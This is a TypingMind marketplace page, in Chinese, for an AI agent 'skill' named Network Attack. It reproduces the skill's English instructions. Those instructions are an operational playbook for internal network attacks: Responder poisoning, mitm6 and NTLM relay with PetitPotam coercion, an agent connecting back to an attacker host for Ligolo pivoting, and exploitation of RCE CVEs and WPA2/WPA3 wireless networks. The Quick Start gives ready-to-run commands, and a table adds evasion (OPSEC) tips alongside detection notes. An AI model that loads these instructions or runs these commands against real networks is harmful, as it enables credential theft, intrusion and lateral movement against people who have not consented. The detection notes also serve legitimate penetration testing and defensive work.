Network Attack 标志

Network Attack

社区
hypnguyen1209
network-attack

用于攻击网络或进行横向移动:L2/L3 投毒(LLMNR/mDNS、ARP/DHCP、mitm6)、强制认证与 NTLM 中继(CVE-2025-33073)、TUN 枢轴转发(Ligolo-ng/Chisel)、中间人攻击、网络服务远程代码执行(CVE-2024-38077)、WPA2/WPA3 无线网络

Add to TypingMind

概览

发布者hypnguyen1209
代码仓库offensive-claude
技能名称network-attack
星标数
396
复刻数
71
附带文件
14
许可协议MIT
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 14 个附带文件

    模型执行任务时可读取的脚本、模板和参考资料。这些文件为只读文件,绝不会被执行。

  • 开源

    由 hypnguyen1209 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Network Attack AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/hypnguyen1209/offensive-claude/tree/main/skills/network-attack
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude.git /tmp/offensive-claude
mkdir -p .claude/skills
cp -r /tmp/offensive-claude/skills/network-attack .claude/skills/network-attack
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Network Attack,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Network Attack。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Network Attack 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

Network Attack & Lateral Movement

When to Activate

  • Internal network pentest from an unauthenticated wire position or initial foothold
  • Layer-2/3 poisoning to capture credentials (LLMNR/NBT-NS/mDNS, ARP/DHCP, IPv6 mitm6)
  • Coercion + NTLM relay from the network (signing/EPA mapping, CVE-2025-33073 reflection)
  • Pivoting / tunneling across segments (Ligolo-ng, Chisel, SSH, DNS tunneling)
  • Traffic interception / MitM (bettercap, RDP/SSH/STARTTLS downgrade, cookie theft)
  • Network-service exploitation (SMB/RDP/RDL/NEGOEX RCE, MSSQL/WinRM/LDAP abuse)
  • Wireless assessment (WPA2 capture/crack, WPA3-Transition downgrade, evil-twin 802.1X)
  • For AD-specific relay targets (LDAP RBCD/shadow-creds, ADCS ESC8, Kerberos relay) and ticket/DCSync work, hand off to active-directory-attack.

Technique Map

TechniqueATT&CKCWEReferenceScript
LLMNR/NBT-NS/mDNS poisoning (Responder)T1557.001CWE-300references/l2-attacks.mdscripts/responder_loot_parser.py
ARP spoofing MitMT1557.002CWE-300references/l2-attacks.mdscripts/bettercap_mitm.sh
DHCP starvation / rogue DHCPT1557.003CWE-300references/l2-attacks.md-
IPv6 takeover (mitm6 DHCPv6/DNS → relay)T1557.001CWE-300references/l2-attacks.mdscripts/mitm6_relay_launcher.sh
STP root hijack / VLAN hopping (DTP, 802.1Q)T1599CWE-284references/l2-attacks.mdscripts/vlan_hop.py
Coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV)T1187CWE-294references/coercion-relay-network.mdscripts/relay_target_finder.py
NTLM relay (SMB/MSSQL/WinRM)T1557.001CWE-294references/coercion-relay-network.mdscripts/relay_target_finder.py
NTLM reflection → SYSTEM (CVE-2025-33073)T1187, T1557.001CWE-287references/coercion-relay-network.mdscripts/relay_target_finder.py
TUN pivoting (Ligolo-ng autoroute/multiplayer)T1090.001CWE-923references/pivoting-tunneling.mdscripts/pivot_autoroute.sh
HTTP-SOCKS tunnel (Chisel) / SSH pivotT1090.001, T1572CWE-923references/pivoting-tunneling.mdscripts/pivot_autoroute.sh
DNS tunneling (iodine/dnscat2)T1071.004, T1572CWE-923references/pivoting-tunneling.md-
Traffic interception / sslstrip / DNS spoofT1557, T1040CWE-319references/mitm-interception.mdscripts/bettercap_mitm.sh
RDP/SSH/STARTTLS MitM & downgradeT1557, T1185CWE-300references/mitm-interception.mdscripts/bettercap_mitm.sh
MadLicense RDL RCE (CVE-2024-38077)T1210CWE-122references/protocol-rce.mdscripts/net_service_scan.py
NEGOEX wormable RCE (CVE-2025-47981)T1210CWE-122references/protocol-rce.mdscripts/net_service_scan.py
RMCAST RCE (CVE-2025-21307) / RDS (CVE-2025-24035/45)T1210CWE-787references/protocol-rce.mdscripts/net_service_scan.py
SMB EternalBlue (MS17-010) legacyT1210CWE-119references/protocol-rce.mdscripts/net_service_scan.py
MSSQL xp_cmdshell / link crawl, WinRM, LDAP passbackT1210, T1021.006CWE-89references/protocol-rce.mdscripts/net_service_scan.py
WPA2 handshake/PMKID crackT1110CWE-326references/wireless-attacks.mdscripts/wifi_attack.sh
WPA3-Transition downgrade (Dragonblood)T1557CWE-757references/wireless-attacks.mdscripts/wifi_attack.sh
Evil-twin WPA-Enterprise (802.1X) cred captureT1556CWE-295references/wireless-attacks.mdscripts/wifi_attack.sh
KRACK key-reinstallation (CVE-2017-13077..88)T1557CWE-323references/wireless-attacks.md-
FragAttacks (CVE-2020-24586/87/88)T1040CWE-345references/wireless-attacks.md-
WPS pixie-dust / online PIN bruteT1110CWE-330references/wireless-attacks.md-

Quick Start

bash
# 1. OWN THE SEGMENT — passive analyze, then poison + collect hashes
responder -I eth0 -A                                   # analyze (silent) first
responder -I eth0 -wd                                  # poison LLMNR/NBT-NS/mDNS+WPAD
python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot
hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule

# 2. IPv6 path (often the fastest DA): mitm6 + relay to LDAPS -> RBCD
sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local

# 3. MAP RELAY SURFACE, then coerce + relay (CVE-2025-33073 reflection candidates)
python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks &
python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>

# 4. SCOPE SERVICE RCE SURFACE (MadLicense/NEGOEX/RDS/SMB)
python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json

# 5. PIVOT deeper (TUN, no proxychains)
bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601
#   agent on target: ./agent -connect <ATTACKER>:11601 -ignore-cert -retry ; then 'autoroute'

# 6. WIRELESS entry (note PSK+SAE+MFP-off = WPA3 downgrade-vulnerable)
sudo bash scripts/wifi_attack.sh mon-up wlan0 && sudo bash scripts/wifi_attack.sh scan wlan0mon
sudo bash scripts/wifi_attack.sh wpa3dg wlan0 wlan1mon "CorpWiFi" 6

OPSEC & Detection (summary)

TechniqueTelemetry / IOCDetection (Sigma / EDR)OPSEC note
LLMNR/NBT-NS/mDNS poisonone host answers many names; 4624/4625 type-3 burst to a workstationSigma name-resolution-poisoning; disable LLMNR/NBT-NS via GPO-A is silent; full mode answers everything — scope tight
mitm6 IPv6 takeoverrogue DHCPv6 (UDP 547); endpoint IPv6 DNS change; 4741 computer addZeek rogue-DHCPv6 rule; RA-Guard/DHCPv6-Guardvery loud (whole VLAN); set MachineAccountQuota=0; delete created acct/RBCD
ARP/DNS spoof MitMdup-MAC, gateway MAC change, rogue DNS answersDAI, arpwatch, DNS-source allowlisthalf-duplex cuts ARP volume; restore tables on exit; HSTS breaks sslstrip
Coercion + relayEFSR/RPRN/DFSNM RPC; SMB→service from odd hostRPC Filter logs; signing:False target enumerationcoercion is "by-design"; needs signing/EPA off; SMB signing kills it
NTLM reflection (CVE-2025-33073)4624/4648 NTLM logon to self; new AD DNS A record + coercionSigma self-NTLM-logon; marshalled-DNS detect (Jun-2025 patch)needs signing:False; delete crafted DNS record; patch+signing both fix
Ligolo/Chisel/SSH pivotlong-lived single TLS to ext IP; reverse listeners on pivotNDR JA3/JA4 on Go TLS; beacon/-retry; binary on diskrun proxy on 443 to blend; rename agent; no admin needed on target
DNS tunnelinghigh-volume long random subdomains; high TXT/NULL ratioNDR DNS-tunnel entropy/length analyticsthrottle/jitter; A/CNAME over TXT; exfil small data only
Service RCE (MadLicense/NEGOEX/EternalBlue)service crash/restart (SCM 7031); scanner fan-out 445/3389/1688crash telemetry; patch level; NSE smb-vulnmemory-corruption = DoS risk; never spray wormable; lab-validate, sign-off
WPA2/PMKID capturedeauth mgmt flood (handshake); PMKID passiveWIDS deauth alerts; 802.11w/MFP blocks deauthprefer passive PMKID; short targeted deauth bursts
WPA3-Transition downgrade2nd BSSID for SSID; PSK+SAE+MFP-off advertisedWIPS rogue-AP; Transition-Disable bitrogue AP beacons continuously — minimize on-air; WPA3-only+MFP defeats
Evil-twin 802.1Xrogue BSSID; RADIUS server-cert mismatchWIPS; client server-cert validationrelies on supplicants not validating cert; EAP-TLS defeats

Deep Dives

  • references/l2-attacks.md — LLMNR/NBT-NS/mDNS poisoning (Responder, WebDAV pivot, NTLMv1 downgrade), ARP/DHCP spoofing, IPv6 takeover (mitm6 + ntlmrelayx, 2025 resurgence), STP root hijack & VLAN hopping (DTP, 802.1Q double-tag).
  • references/coercion-relay-network.md — Relay-surface mapping (SMB signing/EPA, RelayKing), coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV + RPC Filter), NTLM relay to SMB/MSSQL/WinRM, CVE-2025-33073 NTLM reflection → SYSTEM. Hands AD targets to active-directory-attack.
  • references/pivoting-tunneling.md — Ligolo-ng (TUN/gVisor, autoroute, v0.8 multiplayer, double-pivot, ligolo-mp), Chisel HTTP-SOCKS, SSH -D/-J, DNS tunneling (iodine/dnscat2), proxychains chaining, tool-selection matrix.
  • references/mitm-interception.md — bettercap inline MitM, sslstrip (HSTS limits), DNS spoof, RDP MitM (PyRDP/Seth, NLA), STARTTLS stripping, SSH TOFU MitM, cookie/session theft.
  • references/protocol-rce.md — CVE-2024-38077 MadLicense (RDL), CVE-2025-47981 NEGOEX (wormable), CVE-2025-21307 RMCAST, CVE-2025-24035/45 RDS, MS17-010 EternalBlue, MSSQL xp_cmdshell/link crawl, WinRM, LDAP passback.
  • references/wireless-attacks.md — WPA2 handshake/PMKID crack, WPA3-Transition downgrade (Dragonblood; DragonShift/eaphammer, 2024-2025 reproductions), evil-twin WPA-Enterprise MSCHAPv2 capture, KRACK key-reinstallation, FragAttacks, WPS pixie-dust/online PIN brute, hashcat workflows. For non-Wi-Fi radio (Bluetooth/BLE, Zigbee, Z-Wave, LoRaWAN/Sub-GHz) see the wireless-rf skill.

附带文件

技能加载后,模型会按需读取这些文件。它们仅作为可读文件提供,绝不会被执行。

常见问题

Network Attack AI 技能有什么作用?

用于攻击网络或进行横向移动:L2/L3 投毒(LLMNR/mDNS、ARP/DHCP、mitm6)、强制认证与 NTLM 中继(CVE-2025-33073)、TUN 枢轴转发(Ligolo-ng/Chisel)、中间人攻击、网络服务远程代码执行(CVE-2024-38077)、WPA2/WPA3 无线网络

为什么在 TypingMind 中使用 Network Attack?

因为您只需安装一次,就能搭配任何模型使用。Network Attack 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Network Attack?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/hypnguyen1209/offensive-claude/tree/main/skills/network-attack。TypingMind 会读取其中的 SKILL.md,打包相关文件,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Network Attack?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Network Attack 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Network Attack 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Network Attack AI 技能免费吗?

是的。hypnguyen1209 已在 GitHub 上根据 MIT 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇